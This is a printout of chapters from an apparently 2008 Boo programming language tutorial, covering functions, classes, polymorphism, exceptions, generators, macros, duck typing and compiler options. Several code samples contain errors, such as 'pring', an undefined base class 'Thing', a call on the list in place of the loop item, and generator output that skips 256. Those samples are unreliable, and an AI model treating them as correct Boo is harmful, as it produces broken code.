print num++
print '---'
num = 0
for i in range(5):
print ++num
Output
0
1
2
3
4
---
1
2
3
4
5
Recommendation
To make your code more readable, avoid using the incrementors and decrementors.
Instead, use i += 1 and i -= 1.
Exercises
Put your hands on a wall, move your left foot back about 3 feet, move the right foot back 2 feet.
1.
Go on to Part 07 - Functions
Part 07 - Functions
http://boo.codehaus.org/Part+07+-+Functions?print=1
1 of 4
5/27/2008 9:23 PM
Part 07 - Functions
Functions
Definition: Function
A sequence of code which performs a specific task, as part of a larger program, and is grouped as one, or more,
statement blocks
Builtin Functions
You have already seen a few functions. range(), print(), and join().
These are functions built into Boo.
Here's a list of all the builtin functions that Boo offers:
Name
Description
Syntax example
print
Prints an object to Standard Out. The equivilent of
System.Console.WriteLine
print("hey")
gets
Returns a string of input that originates from
System.Console.ReadLine() - Standard Input
input = gets()
prompt
Prompts the user for information.
input = prompt("How are you? ")
join
Walk through an IEnumerable object and put all of those elements
into one string.
join([1, 2, 3, 4, 5]) == "1 2 3 4 5"
map
Returns an IEnumerable object that applies a specific function to
each element in another IEnumerable object.
map([1, 2, 3, 4, 5], func)
array
Used to create an empty array or convert IEnumerable and
ICollection objects to an array
array(int, [1, 2, 3, 4, 5]) == (1, 2, 3,
4, 5)
matrix
Creates a multidimensional array. See Multidimensional Arrays for
more info.
matrix(int, 2, 2)
iterator
Creates an IEnumerable from an object
List(iterator('abcde')) == ['a', 'b', 'c',
'd', 'e']
shellp
Start a Process. Returns a Process object
process = shellp("MyProgram.exe",
"")
shell
Invoke an application. Returns a string containing the program's
output to Standard Out
input = shell("echo hi there", "")
shellm
Execute the specified managed application in a new AppDomain.
Returns a string containing the program's output to Standard Out
input = shellm("MyProgram.exe", (,))
enumerate Creates an IEnumerator from another, but gives it a pairing of
(index, value)
List(enumerate(range(5, 8))) == [(0,
5), (1, 6), (2, 7)]
range
Returns an IEnumerable containing a list of ints
List(range(5)) == [0, 1, 2, 3, 4]
reversed
Returns an IEnumerable with its members in reverse order
List(reverse(range(5))) == [4, 3, 2,
1, 0]
zip
Returns an IEnumerable that is a "mesh" of two or more
IEnumerables.
array(List([1, 2, 3], [4, 5, 6])) ==
[(1, 4), (2, 5), (3, 6)]
cat
Concatenate two or more IEnumerators head-to-tail
List(cat(range(3), range(3, 6)) ==
[0, 1, 2, 3, 4, 5]
These are all very handy to know. Not required, but it makes programming all that much easier.
Defining Your Own Functions
It's very simple to define your own functions as well.
declaring a function
def Hello():
return "Hello, World!"
print Hello()
Part 07 - Functions
http://boo.codehaus.org/Part+07+-+Functions?print=1
2 of 4
5/27/2008 9:23 PM
Output
Hello, World!
Now it's ok if you don't understand any of that, I'll go through it step-by-step.
def Hello():
def declares that you are starting to declare a function. def is short for "define".
Hello is the name of the function. You could call it almost anything you wanted, as long as it doesn't have
any spaces and doesn't start with a number.
() this means what kind of arguments the function will take. Since we don't accept any arguments, it is
left blank.
return "Hello, World!"
return is a keyword that lets the function know what to emit to its invoker.
"Hello, World!" is the string that the return statement will send.
1.
1.
print Hello()
print is the happy little print macro that we covered before.
Hello() calls the Hello function with no () arguments.
2.
Like variables, function types are inferred.
def Hello():
return "Hello, World!"
will always return a string, so Boo will will infer that string is its return type. You could have done this to achieve the
same result:
def Hello() as string:
return "Hello, World!"
Recommendation
If it is not obvious, specify the return type for a function.
If Boo cannot infer a return type, it will assume object. If there is no return type then the return type is called 'void',
which basically means nothing. To have no return type you can leave off the return, or have a return with no
expression. If there are multiple return}}s with different {{return types, it will return the closest common ancestor,
often times object but not always.
Arguments
Definition: Argument
A way of allowing the same sequence of commands to operate on different data without re-specifying the
instructions.
Arguments are very handy, as they can allow a function to do different things based on the input.
arguments example
def Hello(name as string):
return "Hello, ${name}!"
print Hello("Monkey")
Output
Hello, Monkey!
Here it is again, step-by-step.
Part 07 - Functions
http://boo.codehaus.org/Part+07+-+Functions?print=1
3 of 4
5/27/2008 9:23 PM
def Hello(name as string):
def declares that you are starting to declare a function.
Hello is the name of the function. You could call it almost anything you wanted, as long as it doesn't have
any spaces and doesn't start with a number.
(name as string) this means what kind of arguments the function will take. This function will take one
argument: name. When you call the function, the name must be a string, otherwise you will get a
compiler error - "The best overload for the method Hello is not compatible with the argument list
'(The,Types, of, The, Parameters, Entered)'."
return "Hello, ${name}!"
return is a keyword that exits the function, and optionally return a value to the caller.
"Hello, ${name}!" uses String Interpolation to place the value of name directly into the string.
1.
1.
print Hello("Monkey")
print is the happy little print macro that we covered before.
Hello("Monkey") calls the Hello function with the ("Monkey") argument.
2.
Function Overloading
Definition: Overloading
Giving multiple meanings to the same name, but making them distinguishable by context. For example, two
procedures with the same name are overloading that name as long as the compiler can determine which one you
mean from contextual information such as the type and number of parameters that you supply when you call it.
Function overloading takes place when a function is declared multiple times with different arguments.
overloading example
def Hello():
return "Hello, World!"
def Hello(name as string):
return "Hello, ${name}!"
def Hello(num as int):
return "Hello, Number ${num}!"
def Hello(name as string, other as string):
return "Hello, ${name} and ${other}!"
print Hello()
print Hello("Monkey")
print Hello(2)
print Hello("Cat", "Dog")
Output
Hello, World!
Hello, Monkey!
Hello, Number 2!
Hello, Cat and Dog!
Variable Arguments
There is a way to pass an arbitrary number of arguments.
variable arguments example
def Test(*args as (object)):
return args.Length
print Test("hey", "there")
print Test(1, 2, 3, 4, 5)
print Test("test")
a = (5, 8, 1)
Part 07 - Functions
http://boo.codehaus.org/Part+07+-+Functions?print=1
4 of 4
5/27/2008 9:23 PM
print Test(*a)
Output
2
5
1
3
The star * lets it known that everything past that is arbitrary.
It is also used to explode parameters, as in print Test(*a) causes 3 arguments to be passed.
You can have required parameters before the *args, just like in any other function, but not after, as after all the
required parameters are supplied the rest are past into your argument array.
Exercises
Write a function that prints something nice if it is fed an even number and prints something mean if it is fed an
odd number.
1.
Go on to Part 08 - Classes
Part 08 - Classes
http://boo.codehaus.org/Part+08+-+Classes?print=1
1 of 4
5/27/2008 9:27 PM
Part 08 - Classes
Part 08 - Classes
Definition: Class
A cohesive package that consists of a particular kind of compile-time metadata. A class describes the rules by
which objects behave. A class specifies the structure of data which each instance contains as well as the methods
(functions) which manipulate the data of the object.
Definition: Object
An instance of a class
Defining a Class
Classes are important because they allow you to split up your code into simpler, logical parts. They also allow for
better organization and data manipulation.
declaring a function
class Cat:
pass
fluffy = Cat()
This declares a blank class called "Cat". It can't do anything at all, because there's nothing to do with it. fluffy
Recommendation
Name all your classes using PascalCase.
That is, Capitalize every word and don't use spaces.
If it includes an acronym, like "URL", call it "Url".
Fields and Properties
Definition: Field
An element in a class that contains a specific term of information.
Definition: Property
A syntax nicety to use instead of getter/setter functions.
Simply, fields hold information and properies are accessors to that information.
property example
class Cat:
[Property(Name)]
_name as string
fluffy = Cat()
fluffy.Name = 'Fluffy'
class Cat: declares the start of a class.
1. [Property(Name)] declares a property around _name. You named the property "Name".
_name as string declares a field of Cat that is a string called _name.
2.
1.
2. fluffy = Cat() declares an instance of Cat.
fluffy.Name = 'Fluffy' accesses the property Name of Cat and sets its value to 'Fluffy'. This will cause Name to
set _name to 'Fluffy'.
3.
Fields are not set directly because of security.
Part 08 - Classes
http://boo.codehaus.org/Part+08+-+Classes?print=1
2 of 4
5/27/2008 9:27 PM
Recommendation
Name all your properties using PascalCase, just like classes.
Name all your fields using _underscoredCamelCase, which is similar to PascalCase, only it is prefixed with an
underscore and the first letter is lowercase.
There are two other types of properties, a getter and a setter. Technically, a regular property is just the combination
of the two.
getter/setter example
class Cat:
[Getter(Name)]
_name = 'Meowster'
[Setter(FavoriteFood)]
_favoriteFood as string
fluffy = Cat()
print fluffy.Name
fluffy.FavoriteFood = 'Broccoli'
Output
Meowster
If you were to try to assign a value to fluffy.Name or retrieve a value from fluffy.FavoriteFood, an error would have
occurred, because the code just does not exist for you to do that.
Using the attributes Property, Getter, and Setter are very handy, but it's actually Boo's shortened version of what is
really happening. Here's an example of the full code.
explicit property example
class Cat:
Name as string:
get:
return _name
set:
_name = value
_name as string
fluffy = Cat()
fluffy.Name = 'Fluffy'
Because fields are visible inside their own class, you can see that Name is just a wrapper around _name. Using this
expanded syntax is handy if you want to do extra verification or not have it wrap exactly around its field, maybe by
trimming whitespace or something like that first.
value is a special keyword for the setter statement, that contains the value to be assigned.
Property Pre-condition
It is also possible to define a precondition that must be met before setting a value directly through the Property
shorthand.
Part 08 - Classes
http://boo.codehaus.org/Part+08+-+Classes?print=1
3 of 4
5/27/2008 9:27 PM
property example
class Cat:
[Property(Name, Name is not null)]
_name as string
fluffy = Cat()
fluffy.Name = null # will raise an ArgumentException
Class Modifiers
Modifier
Description
public
Creates a normal, public class, fully accessible to all other types.
protected
Creates a class that is only accessible by its containing class (the class this was declared in) and any
inheriting classes.
internal
A class only accessible by the assembly it was declared in.
protected
internal
Combination of protected and internal.
private
Creates a class that is only accessible by its containing class (the class this was declared in.)
abstract
Creates a class that cannot be instanced. This is designed to be a base class for others.
final
Creates a class that cannot be inherited from.
Recommendation
Never use the public Class Modifier. It is assumed to be public if you specify no modifier.
class modifier example
abstract class Cat:
[Property(Name)]
_name as string
The abstract keyword is the Class Modifier.
Inheritance
Definition: Inheritance
A way to form new classes (instances of which will be objects) using pre-defined objects or classes where new
ones simply take over old ones's implemetions and characterstics. It is intended to help reuse of existing code
with little or no modification.
Inheritance is very simple in Boo.
inheritance example
class Cat(Feline):
[Property(Name)]
_name as string
class Feline:
[Property(Weight)]
_weight as single //In Kilograms
This causes Cat to inherit from Feline. This gives the members Weight and _weight to Cat, even though they were not
declared in Cat itself.
You can also have more than one class inherit from the same class, which promotes code reuse.
More about inheritance is covered in Part 10 - Polymorphism, or Inherited Methods
Part 08 - Classes
http://boo.codehaus.org/Part+08+-+Classes?print=1
4 of 4
5/27/2008 9:27 PM
Classes can inherit from one or zero other classes and any number of interfaces.
To inherit from more than one interface, you would use the notation class Child(IBaseOne, IBaseTwo, IBaseThree):
Interfaces
Definition: Interface
An interface defines a list of methods that enables a class to implement the interface itself.
Interfaces allow you to set up an API (Application Programming Interface) for classes to base themselves off of.
No implementation of code is put inside interfaces, that is up to the classes.
Interfaces can inherit from any number of other interfaces. They cannot inherit from any classes.
interface example
interface IFeline:
def Roar()
Name:
get
set
This defines IFeline having one method, Roar, and one property, Name. Properties must be explicitly declared in
interfaces. Methods are explained in Part 09 - Methods.
Recommendation
Name your interfaces using PascalCase prefixed with the letter I, such as IFeline.
Difference between Value and Reference Types
There are two types in the Boo/.NET world: Value and Reference types. All classes form Reference types. Numbers and
such as was discussed in Part 02 - Variables#List of Value Types are value types.
Definition: null
A keyword used to specify an undefined value for reference variables.
Value types can never be set to null, they will always have a default value. Numbers default value will generally be 0.
Exercises
1. Create a class that inherits from more than one interface.
See what happens if you try to inherit from more than one class.
2.
Go on to Part 09 - Methods
Part 09 - Methods
http://boo.codehaus.org/Part+09+-+Methods?print=1
1 of 3
5/27/2008 9:30 PM
Part 09 - Methods
Part 09 - Methods
Definition: Method
A function exclusively associated with a class
Defining a Method
Methods must be defined in classes. They are declared just like functions are.
arguments example
class Cat:
def Roar():
pring "Meow!"
cat = Cat()
cat.Roar()
Output
Meow!
An object of Cat must be instanced, then its methods can be called.
Recommendation
Names of methods should always be verbs.
They should also be declared in PascalCase.
Class Constructor and Destructor
Constructors and Destructors are special methods that are called on when a class is being instanced or destroyed,
respectively.
Both are optional.
arguments example
class Cat:
def constructor():
_name = 'Whiskers'
def destructor():
print "${_name} is no more... RIP"
[Getter(Name)]
_name as string
cat = Cat()
print cat.Name
Output
Whiskers
Whiskers is no more... RIP
If a constructor has arguments, then they must be supplied when instancing. Destructors cannot have arguments.
arguments example
class Cat:
Part 09 - Methods
http://boo.codehaus.org/Part+09+-+Methods?print=1
2 of 3
5/27/2008 9:30 PM
def constructor(name as string):
_name = name
[Getter(Name)]
_name as string
cat = Cat("Buttons")
print cat.Name
Output
Buttons
Be Careful
Do not depend on the destructor to always be called.
Method Modifiers
Modifier
Description
abstract
an abstract method has no implementation, which requires that an inheriting class implements it.
static
a static method is common to the entire class, which means that it can be called without ownership of a
single instance of the class
virtual
See Part 10 - Polymorphism, or Inherited Methods
override
See Part 10 - Polymorphism, or Inherited Methods
All these modifiers also apply to properties (If they are explicitly declared).
static can also apply to fields.
static example
class Animal:
def constructor():
_currentId += 1
_id = currentId
[Getter(Id)]
_id as int
static _currentId = 0
This will cause the Id to increase whenever an Animal is instanced, giving each Animal their own, unique Id.
All the methods defined in an interface are automatically declared abstract.
Abstract methods in a class must have a blank code block in its declaration.
abstract example
class Feline:
abstract def Eat():
pass
interface IFeline:
def Eat()
Both declare roughly the same thing.
Member Visibility
Visibility Level
Description
public
Member is fully accessible to all types.
protected
Member is only visible to this class and inheriting classes.
Part 09 - Methods
http://boo.codehaus.org/Part+09+-+Methods?print=1
3 of 3
5/27/2008 9:30 PM
private
Member is only visible to this class.
Important Information
All fields are by default protected. All methods, properties, and events are by default public.
Recommendation
Fields are typically either protected or private. Usually instead of making a public field, you might make a public
property that wraps access to the field instead. This allows subclasses to possibly override behavior.
Methods can have any visibility.
Properties can have any visibility, and typically have both a getter and a setter, or only a getter. Instead of a set
only property, consider using a method instead (like "SetSomeValue(val as int)").
Recommendation
It is recommended you prefix field names with an underscore if it is a private field.
Declaring Properties in the Constructor
One very nice feature that boo offers is being able to declare the values of properties while they are being instanced.
abstract example
class Box:
def constructor():
pass
[Property(Value)]
_value as object
box = Box(Value: 42)
print box.Value
Output
42
The constructor didn't take any arguments, yet the Value: 42 bit declared Value to be 42, all in a tighly compact, but
highly readable space.
Exercises
Create two classes, Predator and Prey. To the Predator class, add an Eat method that eats the Prey. Do not let
the Prey be eaten twice.
1.
Go on to Part 10 - Polymorphism, or Inherited Methods
Part 10 - Polymorphism, or Inherited Methods
http://boo.codehaus.org/Part+10+-+Polymorphism,+or+Inherited+Meth...
1 of 3
5/27/2008 9:31 PM
Part 10 - Polymorphism, or Inherited Methods
Part 10 - Polymorphism, or Inherited Methods
Definition: Polymorphism
The ability for a new object to implement the base functionality of a parent object in a new way.
Two keywords are used to make Polymorphism happen: virtual and override.
You need to describe a method as virtual if you want the ability to override its capabilities.
Polymorphism with Rectangle and Square
class Rectangle:
def constructor(width as single, height as single):
_width = width
_height = height
virtual def GetArea():
return _width * _height
_width as single
_height as single
class Square(Rectangle):
def constructor(width as single):
_width = width
override def GetArea():
return _width * _width
r = Rectangle(4.0, 6.0)
s = Square(5.0)
print r.GetArea()
print s.GetArea()
print cast(Rectangle, s).GetArea()
Output
24.0
25.0
25.0
Even when casted to a Rectangle, s's .GetArea() functioned like if it were a Square.
An easier example to see is this:
Simplified Polymorphism Example
class Base:
virtual def Execute():
print 'From Base'
class Derived(Thing):
override def Execute():
print 'From Derived'
b = Base()
d = Derived()
print b.Execute()
print d.Execute()
print cast(Base, d).Execute()
Part 10 - Polymorphism, or Inherited Methods
http://boo.codehaus.org/Part+10+-+Polymorphism,+or+Inherited+Meth...
2 of 3
5/27/2008 9:31 PM
Output
From Base
From Derived
From Derived
If I were to leave out the virtual and {{override} keywords,
Output w/o virtual
From Base
From Derived
From Base
This happens because unless the base method is virtual or abstract, the derived method cannot be declared as
override.
Recommendation
Although you do not have to explicitly declare a method as override when inheriting from a virtual method, you
should anyway, in case the signatures of the virtual and overriding methods do not match.
In order to override, the base function must be declared as virtual or abstract, have the same return type, and accept
the same arguments.
Polymorphism is very handy when dealing with multiple types derived from the same base.
Another Polymorphism Example
interface IAnimal:
def MakeNoise()
class Dog(IAnimal):
def MakeNoise():
print 'Woof'
class Cat(IAnimal):
def MakeNoise():
print 'Meow'
class Hippo(IAnimal):
def MakeNoise():
print '*Noise of a Hippo*'
list = []
list.Add(Dog())
list.Add(Cat())
list.Add(Hippo())
for animal as IAnimal in list:
list.MakeNoise()
Output w/o virtual
Woof
Meow
*Noise of a Hippo*
Very handy.
Exercises
1. Figure out an exercise
Part 10 - Polymorphism, or Inherited Methods
http://boo.codehaus.org/Part+10+-+Polymorphism,+or+Inherited+Meth...
3 of 3
5/27/2008 9:31 PM
Go on to Part 11 - Structs
Part 11 - Structs
http://boo.codehaus.org/Part+11+-+Structs?print=1
1 of 1
5/27/2008 9:31 PM
Part 11 - Structs
Part 11 - Structs
Definition: Struct
Short for structure, a term meaning a data group made of related variables.
The main difference between structs are different than classes is that it is a value type instead of a reference type.
This means that whenever you return this value, or set one equal to another, it is actually copying the data not a
reference to the data. This is handy, becaues if it is declared without a value, it will default to something besides null.
It also cannot be compared to null. This eliminates alot of error checking associated with reference types.
Structs also cannot inherit from classes, nor can classes inherit from structs. Structs can however, inherit from
interfaces.
Unlike some other languages, structs can have methods.
Declaring a Struct
Declaring a struct is very similar to declaring a {{class}, except that the name is changed.
declaring a struct
struct Coordinate:
def constructor(x as int, y as int):
_x = x
_y = y
_x as int
_y as int
c as Coordinate
print c.x, c.y
c = Coordinate(3, 5)
print c,x, c.y
Output
0 0
3 5
Here you can see that the struct was instanced without being called, showing the how a struct is a value.
Exercises
Figure out a good exercise for this section.
1.
Go on to Part 12 - Namespaces
Part 12 - Namespaces
http://boo.codehaus.org/Part+12+-+Namespaces?print=1
1 of 2
5/27/2008 9:32 PM
Part 12 - Namespaces
Part 12 - Namespaces
Definition: Namespace
A name that uniquely identifies a set of objects so there is no ambiguity when objects from different sources are
used together.
Namespaces are useful because if you have, for example, a Dog namespace and a Furniture namespace, and they both
have a Leg class, you can refer to Dog.Leg and Furniture.Leg and be clear about which class you are mentioning.
Declaring a Namespace
To declare a namespace, all that is required is that you put namespace followed by a name at the top of your file.
declaring a namespace
namespace Tutorial
class Thing():
pass
This creates your class Tutorial.Thing. While coding inside your namespace, it will be transparently Thing.
To declare a namespace within a namespace, just place a dot . inbetween each other.
Recommendation
Declare a namespace at the top of all your files.
Use PascalCase for all your namespaces.
Importing Another Namespace
To use classes from another namespace, you would use the import keyword.
The most common namespace you will import is System.
importing from a namespace
import System
Console.WriteLine()
not importing from a namespace
System.Console.WriteLine()
Both produce the exact same code, it's just easier and clearer with the import.
Recommendation
Don't be afraid to import, just don't import namespaces that you aren't using.
Recommendation
When importing, import included namespaces first, such as System or Boo.Lang.
Then import your 3rd party namespaces.
Alphabetize the two groups seperately.
If you are importing from another assembly, you would use the phrase import <target> from <assembly>, for
example
importing from an external assembly
Part 12 - Namespaces
http://boo.codehaus.org/Part+12+-+Namespaces?print=1
2 of 2
5/27/2008 9:32 PM
import System.Data from System.Data
import Gtk from "gtk-sharp"
System.Data is part of an external library which can be added, System.Data.dll. Gtk is part of the Gtk# library, which,
since it has a special name (with a dash in it), it must be quoted.
Recommendation
Only use the import <target> from <assembly> if you are using one file and one file only. If you are using more
than that, you should be using a build tool, such as NAnt, which is discussed in Part 19 - Using the Boo Compiler.
Exercises
Figure out a good exercise for this section.
1.
Go on to Part 13 - Enumerations
Part 13 - Enumerations
http://boo.codehaus.org/Part+13+-+Enumerations?print=1
1 of 1
5/27/2008 9:33 PM
Part 13 - Enumerations
Part 13 - Enumerations
Definition: Enumeration
A set of name to integer value associations.
Declaring an Enumeration
Enumerations are handy to use as fields and properties in classes.
declaring an enum
enum Day:
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Sunday
class Action:
[Property(Day)]
_day as Day
Enumerations are also handy in preventing "magic numbers", which can cause unreadable code.
Definition: Magic Number
Any number outside of -1, 0, 1, or 2.
Enumerations technically assign an integer value to each value, but that should generally be abstracted from view.
declaring an enum
enum Test:
Alpha
Bravo
Charlie
is the same as
declaring an enum
enum Test:
Alpha = 0
Bravo = 1
Charlie = 2
Recommendation
Except in special cases, do not assign numbers.
Exercises
Think of another good instance of using enums.
1.
Go on to Part 14 - Exceptions
Part 14 - Exceptions
http://boo.codehaus.org/Part+14+-+Exceptions?print=1
1 of 2
5/27/2008 9:33 PM
Part 14 - Exceptions
Part 14 - Exceptions
Definition: Exception
A mechanism designed to handle runtime errors or other problems (exceptions) inside a computer program.
Exceptions are very important, as they are raised whenever an error occurs in the system. (Or at least they should
be.)
Catching Exceptions
An exception stops the program if it is not caught.
Division by Zero
print 1 / 0
Output
System.DivideByZeroException: Attempted to divide by zero.
at Test.Main(String[] argv)
Which stopped the program.
To handle the situation, exceptions must be caught.
Exceptions are either caught in a try-except statement, a try-ensure statement, or a try-except-ensure statement.
Also, all Exceptions are derived from the simple Exception.
try-except example
import System
try:
print 1 / 0
except e as DivideByZeroException:
print "Whoops"
print "Doing more..."
Output
Whoops
Doing more...
This prevents the code from stopping and lets the program keep running even after it would have normally crashed.
There can be multiple except statements, in case the code can cause multiple Exceptions.
Try-ensure is handy if you are dealing with open streams that need to be closed in case of an error.
try-ensure example
import System
try:
s = MyClass()
s.SomethingBad()
ensure:
print "This code will be executed, whether there is an error or not."
Output
This code will be executed, whether there is an error or not.
System.Exception: Something bad happened.
Part 14 - Exceptions
http://boo.codehaus.org/Part+14+-+Exceptions?print=1
2 of 2
5/27/2008 9:33 PM
at Test.Main(String[] argv)
As you can see, the ensure statement didn't prevent the Exception from bubbling up and causing the program to
crash.
A try-except-ensure combines the two.
try-except-ensure example
import System
try:
s = MyClass()
s.SomethingBad()
except e as Exception:
print "Problem! ${e.Message}"
ensure:
print "This code will be executed, whether there is an error or not."
Output
Problem: Something bad happened.
This code will be executed, whether there is an error or not.
Recommendation
If you don't solve the problem in your except statement, use the raise command without any parameters to
re-raise the original Exception.
Raising Exceptions
There are times that you want to raise Exceptions of your own.
Raising an Exception
import System
def Execute(i as int):
if i < 10:
raise Exception("Argument i must be greater than or equal to 10")
print i
If Execute is called with an improper value of i, then the Exception will be raised.
Recommendation
In production environments, you'll want to create your own Exceptions, even if they are just wrappers around
Exception with different names.
Recommendation
Never use ApplicationException.
Exercises
Think of an exercise
1.
Go on to Part 15 - Functions as Objects and Multithreading
Part 15 - Functions as Objects and Multithreading
http://boo.codehaus.org/Part+15+-+Functions+as+Objects+and+Multith...
1 of 2
5/27/2008 9:34 PM
Part 15 - Functions as Objects and Multithreading
Part 15 - Functions as Objects and Multithreading
Having Functions act as objects exposes three very useful methods:
1. function.Invoke(<arguments>) as <return type>
2. function.BeginInvoke(<arguments>) as IAsyncResult
function.EndInvoke(IAsyncResult) as <return type>
3.
.Invoke just calls the function normally and acts like it was called with just regular parentheses ().
.BeginInvoke starts a seperate thread that does nothing but run the function invoked.
.EndInvoke finishes up the previously invoked function and returns the proper return type.
example of .Invoke
def Nothing(x):
return x
i = 5
assert 5 == Nothing(i)
assert i == Nothing.Invoke(i)
assert i == Nothing.Invoke.Invoke(i)
Since .Invoke is a function itself, it has its own .Invoke.
Here's a good example of .BeginInvoke
Multithreading with .BeginInvoke
import System
import System.Threading
class FibonacciCalculator:
def constructor():
_alpha, _beta = 0, 1
_stopped = true
def Calculate():
_stopped = false
while not _stopped:
Thread.Sleep(200)
_alpha, _beta = _beta, _alpha + _beta
print _beta
def Start():
_result = Calculate.BeginInvoke()
def Stop():
_stopped = true
Calculate.EndInvoke(_result)
_result as IAsyncResult
_alpha as ulong
_beta as ulong
_stopped as bool
fib = FibonacciCalculator()
fib.Start()
prompt("Press enter to stop...\n")
fib.Stop()
The output produces the Fibonacci sequence roughly every 200 milliseconds (because that's what the delay is). This
will produce an overflow after it gets up to 2^64.
Part 15 - Functions as Objects and Multithreading
http://boo.codehaus.org/Part+15+-+Functions+as+Objects+and+Multith...
2 of 2
5/27/2008 9:34 PM
The important thing is that it stops cleanly if you press Enter.
Exercises
Think of an exercise
1.
Go on to Part 16 - Generators
Part 16 - Generators
http://boo.codehaus.org/Part+16+-+Generators?print=1
1 of 2
5/27/2008 9:35 PM
Part 16 - Generators
Part 16 - Generators
Generator Expressions
Definition: Generator Expression
An phrase that creates a generator based on the syntax:
<expression> for <declarations> [as <type>] in <iterator> [if|unless <condition>]
Generator Expressions have similar syntax to the for loops that we have covered, and serve a similar purpose.
The best way to learn how to use Generator Expressions is by example, so here we load up a booish prompt.
$ booish
>>> List(x for x in range(5)) // simplest Generator Expression
[0, 1, 2, 3, 4]
>>> List(x * 2 for x in range(5)) // get double of values
[0, 2, 4, 6, 8]
>>> List(x**2 for x in range(5)) // get square of values
[0, 1, 4, 9, 16]
>>> List(x for x in range(5) if x % 2 == 0) // check if values are even
[0, 2, 4]
>>> List(x for x in range(10) if x % 2 == 0) // check if values are even
[0, 2, 4]
>>> List(y for y in (x**2 for x in range(10)) if y % 3 != 0) // Generator Expression inside another
[1, 4, 16, 25, 49, 64]
>>> List(cat.Weight for cat in myKitties if cat.Age >= 1.0).Sort()
[6.0, 6.5, 8.0, 8.5, 10.5]
>>> genex = x ** 2 for x in range(5)
generator(System.Int32)
>>> for i in genex:
... print i
...
0
1
4
9
16
The cat-weight example is probably what Generator Expressions are most useful for.
You don't have to create Lists from them either, that's mostly for show.
generators are derived from IEnumerable, so you get all the niceties of the for loop as well.
Recommendation
Don't overdo it with Generator Expressions. If they are causing your code to be less readable, then spread them
out a little.
Generator Methods
Definition: Generator Expression
A method that creates a generator based on stating the yield keyword within the method.
A Generator Method is like a regular method that can return multiple times.
Here's a Generator Method that will return exponents of 2.
Generator Method Example
Part 16 - Generators
http://boo.codehaus.org/Part+16+-+Generators?print=1
2 of 2
5/27/2008 9:35 PM
def TestGenerator():
i = 1
yield i
for x in range(10):
i *= 2
yield i
print List(TestGenerator())
Output
[1, 2, 4, 8, 16, 32, 64, 128, 512, 1024]
Generator Methods are very powerful because they keep all their local variables in memory after a yield. This can allow
for certain programming techniques not found in some other languages.
Generators are very powerful and useful.
Exercises
Create a Generator that will destroy mankind.
1.
Go on to Part 17 - Macros
Part 17 - Macros
http://boo.codehaus.org/Part+17+-+Macros?print=1
1 of 2
5/27/2008 9:36 PM
Part 17 - Macros
Part 17 - Macros
print Macro
The print Macro will display one or more objects to the screen.
There are two ways to call the print macro.
1. With only one argument
With two or more arguments
2.
print Example
print "Hello there"
print "Hello", "there"
Output
Hello there
Hello there
In the second case, for every case except the last, it will write the string to the screen, write a space, then move on.
In the end, the two will have the same end result.
assert Macro
The assert Macro makes sure that a condition is true, otherwise it raises an AssertionFailedException.
assert can be called with one or two arguments.
The first argument must always be a boolean condition.
The optional second argument is a string that will be sent if the condition fails.
assert Example
assert true // this will always pass
assert false, "message" // this will always fail
Output
Boo.Lang.Runtime.AssertionFailedException: message
at Tutorial.Main(String[] argv)
Recommendation
Never assert a condition that would, in itself, change your code.
e.g. assert iter.MoveNext() would be a bad idea.
using Macro
The using Macro can take any number of arguments, it merely duplicates its behavior each time.
It creates a safety net for objects to be handled during a block, then disposed of as soon as that block is finished.
There are three types of arguments you can declare:
1. <object>
2. <object> = <expression>
<expression>
3.
In all three of these, it checks if the underlying object is an IDisposable, which it then disposes of afterward.
using Example
import System.IO
Part 17 - Macros
http://boo.codehaus.org/Part+17+-+Macros?print=1
2 of 2
5/27/2008 9:36 PM
using w = StreamWriter("test.txt"):
w.WriteLine("Hello there!")
This will create the file, write to it, then close it as soon as the using block is finished. Makes it very safe and
convenient.
lock Macro
The lock Macro makes sure that, in a multithreaded environment, that a specified object is not being used and
prevents another object from using it at the same time.
lock must accept at least one argument, and it will put the lock on all that are given.
lock Example
lock database:
database.Execute("""
UPDATE messages
SET
id = id + 1""")
debug Macro
The debug Macro is the exact same as the print Macro, except that it sends its messages to System.Diagnostics.Debug
instead of System.Console.
Go on to Part 18 - Duck Typing
Part 18 - Duck typing
http://boo.codehaus.org/Part+18+-+Duck+typing?print=1
1 of 2
5/27/2008 9:37 PM
Part 18 - Duck typing
Part 18 - Duck Typing
Definition: Duck Typing
Duck typing is a humorous way of describing the type non-checking system. Initially coined by Dave Thomas in
the Ruby community, its premise is that (referring to a value) "if it walks like a duck, and talks like a duck, then
it is a duck".
Even though Boo is a statically typed language, Duck Typing is a way to fake being a dynamic language. Duck typing
allows variables to be recognized at runtime, instead of compile time. Though this can add a sense of simplicity, it does
remove a large security barrier.
Duck Typing Example
d as duck
d = 5 // currently set to an integer.
print d
d += 10 // It can do everything an integer does.
print d
d = "Hi there" // sets it to a string.
print d
d = d.ToUpper() // It can do everything a string does.
print d
Output
5
15
Hi there
HI THERE
Duck typing is very handy if you are loading from a factory or an unpredictable dynamic library.
Recommendation
Do not enable duck typing by default. It should only be used in a few situations.
On a side note, The booish interpreter has duck typing enabled by default. This can be disabled by typing in
interpreter.Ducky = false
Here is a practical example of where duck typing is useful.
Practical Duck Typing
import System.Threading
def CreateInstance(progid):
type = System.Type.GetTypeFromProgID(progid)
return type()
ie as duck = CreateInstance("InternetExplorer.Application")
ie.Visible = true
ie.Navigate2("http://www.go-mono.com/monologue/")
while ie.Busy:
Thread.Sleep(50ms)
document = ie.Document
print("${document.title} is ${document.fileSize} bytes long.")
Exercises
Part 18 - Duck typing
http://boo.codehaus.org/Part+18+-+Duck+typing?print=1
2 of 2
5/27/2008 9:37 PM
Come up with another good example where duck typing is effective.
1.
Go on to Part 19 - Using the Boo Compiler
Part 19 - Using the Boo Compiler
http://boo.codehaus.org/Part+19+-+Using+the+Boo+Compiler?print=1
1 of 2
5/27/2008 9:40 PM
Part 19 - Using the Boo Compiler
Part 19 - Using the Boo Compiler
The Boo Compiler is typically called in this fashion:
booc <options> <files>
Command-line Options
Option
Description
-v
Verbose
-vv
More Verbose
-vvv
Most Verbose
-r:<reference_name>
Add a reference to your project
-t:<type_name_to_generate>
Type of file to generate, can be either exe or winexe to make executables (.exe
files), or library to make a .dll file
-p:<pipeline>
Adds a step <pipeline> to the compile.
-c:<culture>
Sets which CultureInfo to use.
-o:<output_file>
Sets the name of the output file
-srcdir:<source_files>
Specify where to find the source files.
-debug
Adds debug flags to your code. Good for non-production. (On by default)
-debug-
Does not add debug flags to your code. Good for production environment.
-debug-steps
See AST after each compilation step.
-resource:<resource_file>,<name>
Add a resource file. <name> is optional.
